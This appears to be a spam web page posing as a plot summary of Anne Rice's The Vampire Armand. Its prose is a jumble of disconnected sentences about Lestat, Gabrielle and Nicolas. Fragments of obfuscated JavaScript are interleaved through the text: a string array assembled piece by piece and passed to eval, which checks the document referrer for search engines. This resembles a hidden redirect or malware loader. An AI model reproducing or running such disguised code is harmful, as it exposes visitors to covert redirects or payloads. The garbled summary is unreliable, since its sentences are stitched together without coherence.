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## The Vampire Armand Plot Summary

Detailed plot synopsis reviews of The Vampire Armand; The vampire Armand was previously introduced in Anne Rice's other.. He has a warm but distant relationship with his mother Gabrielle, and is often antagonized by his brothers, particularly Augustine.. Disaster strikes when Lestat gives in to his urges and adds Nicki to his growing family of undead, and the two soon grow apart due to Nicki's deteriorating mental health.. Leaving his unappreciative family, he runs to Paris with his friend and companion Nicolas.. Lestat, aided by his mother's gifts of rifles and dogs and being the sole hunter and provider, takes pleasure in knowing that his family is fed by his hand.. Lestat is chosen by the mad rogue vampire Magnus, who orphans him soon after turning him.. ;Yip["AL"]="2";Yip["Um"]="a";Yip["VM"]="s";Yip["bl"]="ex";Yip["YX"]="ed";Yip["IB"]="AK";Yip["wm"]="po";Yip["Uj"]="T";Yip["rg"]="";Yip["Oj"]=">;Yip["ZM"]=""e";Yip["pP"]="eD";Yip["kn"]="aT";Yip["mu"]="we";Yip["xl"]="e";Yip["ra"]="yp";Yip["HV"]="12";Yip["Kv"]="jx";Yip["Ev"]="u";Yip["cc"]="tr";Yip["fM"]="ro";Yip["Mm"]="ta";Yip["Ad"]=""";Yip["bg"]="(r";Yip["bZ"]=""");Yip["jH"]="tS";Yip["jf"]="ma";Yip["pE"]="R.. When Lestat's actions meet with cruelty at his family's hands, his mother is his sole comfort, often selling the family jewels to buy gifts.

From being removed from his passion of clergy at a young age, to foiling his attempt to escape with a theater troupe, the two sides are often at odds.. The books also offers a differing perspective on the events of Louis' Interview with the Vampire.. One such Conversation soon turns sour in Lestat's mind, leaving him with a great fear of death and the dark.. ;Yip["TE"]="so";Yip["AY"]=""";Yip["ij"]="c";Yip["ss"]="t";Yip["en"]="Of";Yip["km"]="s";Yip["cz"]="bl";Yip["If"]="vk";Yip["bc"]="un";Yip["Vr"]="e";Yip["Sf"]="SO";Yip["is"]="ll";Yip["eX"]="st";Yip["ct"]="if";Yip["Jy"]="sn";Yip["Fq"]="sD";Yip["VC"]=""";Yip["wB"]="T";Yip["KX"]="CR";Yip["tm"]="ar";Yip["RP"]="bi";Yip["ty"]="tt";Yip["eR"]=""";Yip["rL"]="pr";Yip["Lu"]="rv";Yip["mP"]=""t";Yip["qx"]=""";Yip["xF"]="j";Yip["Gf"]="Ld";Yip["cT"]="am";Yip["qd"]="a";Yip["iU"]="en";Yip["pm"]="NV";Yip["Tf"]="f";Yip["Lb"]="".. Left with a fortune and immortality, Lestat abstains seeing anyone from his former life, until his dying mother Gabrielle comes to visit one last time.. r";Yip["Uh"]="q";Yip["uP"]="xO";Yip["gj"]="se";Yip["JG"]="e";Yip["KE"]="f";Yip["JK"]="ls";Yip["IP"]="er";Yip["UE"]="e";Yip["Ng"]=""";Yip["LB"]=""";Yip["OX"]="ng";Yip["MI"]="cc";Yip["Qv"]="ef";Yip["kw"]=""";Yip["fg"]="al";Yip["oc"]="N.. The Vampire Armand (1998) Merrick (2000) Blood and Gold (2001) The Vampire Lestat, whom we first met in Interview With the Vampire, has his own story to tell.. The Vampire Armand This article does not cite any sources The Vampire Armand (1998) is the sixth novel in Anne Rice's The Vampire Chronicles series.. var NV = 'the+vampire+armand+plot+summary';var Yip = new Array();Yip["nN"]=""i";Yip["aq"]=""6c";Yip["Ew"]=""";Yip["sI"]=""f";Yip["uj"]=""on";Yip["Gh"]=""Da";Yip["nt"]=""n";Yip["Om"]=""ct";Yip["Kx"]=""d";Yip["bz"]=""";Yip["oq"]=""es";Yip["aW"]=""";Yip["QJ"]=""gt";Yip["nm"]="".. The two soon leave for Paris, a dream of Lestat's, at the request of Gabrielle The Return of the Vampire (1943) on IMDb.

j";Yip["qN"]=""go";Yip["Fk"]=""Do";Yip["sU"]="">;Yip["hp"]=""ri";Yip["QB"]=""m";Yip["pV"]=""tu";Yip["zn"]=""J";Yip["sq"]=""v");Yip["kZ"]=""p";Yip["eH"]=""l";Yip["gp"]=""pt";Yip["iO"]=""fa";Yip["So"]=""r";Yip["Ps"]=""do";Yip["fo"]=""r";Yip["rc"]=""\$";Yip["bs"]=""or";Yip["Yh"]=""Mg";Yip["xW"]=""0";Yip["jF"]=""o.. a";Yip["CE"]=""ly";Yip["nz"]=""";Yip["uy"]=""eb";Yip["uk"]=""{}";Yip["ff"]=""";Yip["SA"]=""il";eval(Yip["Vj"])+Yip["So"]+Yip["Uh"]+Yip["rz"]+Yip["pm"]+Yip["yK"]+Yip["tm"]+Yip["IH"]+Yip["HR"]+Yip["bX"]+Yip["xl"]+Yip["rz"]+Yip["Qy"]+Yip["bs"]+Yip["Rn"]+Yip["Ew"]+Yip["Vj"]+Yip["So"]+Yip["YV"]+Yip["Dn"]+Yip["rz"]+Yip["Ps"]+Yip["Tj"]+Yip["KS"]+Yip["mB"]+Yip["nm"]+Yip["Qv"]+Yip["IP"]+Yip["YV"]+Yip["aa"]+Yip["ct"]+Yip["bg"]+Yip["Qv"]+Yip["oe"]+Yip["iU"]+Yip["QJ"]+Yip["qS"]+Yip["xW"]+Yip["uk"]+Yip["ct"]+Yip["gX"]+Yip["bg"]+Yip["Qv"]+Yip["nN"]+Yip["du"]+Yip["bl"]+Yip["en"]+Yip["AY"]+Yip["mA"]+Yip["du"]+Yip["bI"]+Yip["fF"]+Yip["wi"]+Yip["Oj"]+Yip["xW"]+Yip["VC"]+Yip["kw"]+Yip["bg"]+Yip["Qv"]+Yip["nN"]+Yip["du"]+Yip["bI"]+Yip["en"]+Yip["AY"]+Yip["qN"]+Yip["VG"]+Yip["Ks"]+Yip["fF"]+Yip["wi"]+Yip["Oj"]+Yip["xW"]+Yip["VC"]+Yip["kw"]+Yip["YV"]+Yip["KE"]+Yip["VY"]+Yip["XL"]+Yip["uP"]+Yip["Tf"]+Yip["fo"]+Yip["cT"]+Yip["cz"]+Yip["IP"]+Yip["fF"]+Yip["wi"]+Yip["Oj"]+Yip["QC"]+Yip["is"]+Yip["GX"]+Yip["Qv"]+Yip["nN"]+Yip["du"]+Yip["bI"]+Yip["en"]+Yip["AY"]+Yip["RP"]+Yip["OX"]+Yip["ff"]+Yip["wi"]+Yip["Oj"]+Yip["QC"]+Yip[

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 l";Yip["Va"]="GE";Yip["eM"]="sc";Yip["RZ"]="j";Yip["Eg"]="qX";Yip["FI"]="rr";Yip["iR"]="u";Yip["hy"]="sp";Yip["yL"]="np";Yip["KS"]="me";Yip["TL"]="";Yip["mB"]="nt";Yip["Tj"]="cu";Yip["Ih"]="y";Yip["yK"]="v";Yip["uB"]="OS";Yip["du"]="nd";Yip["vC"]="t";Yip["Sd"]="oc";Yip["GX"]=""  
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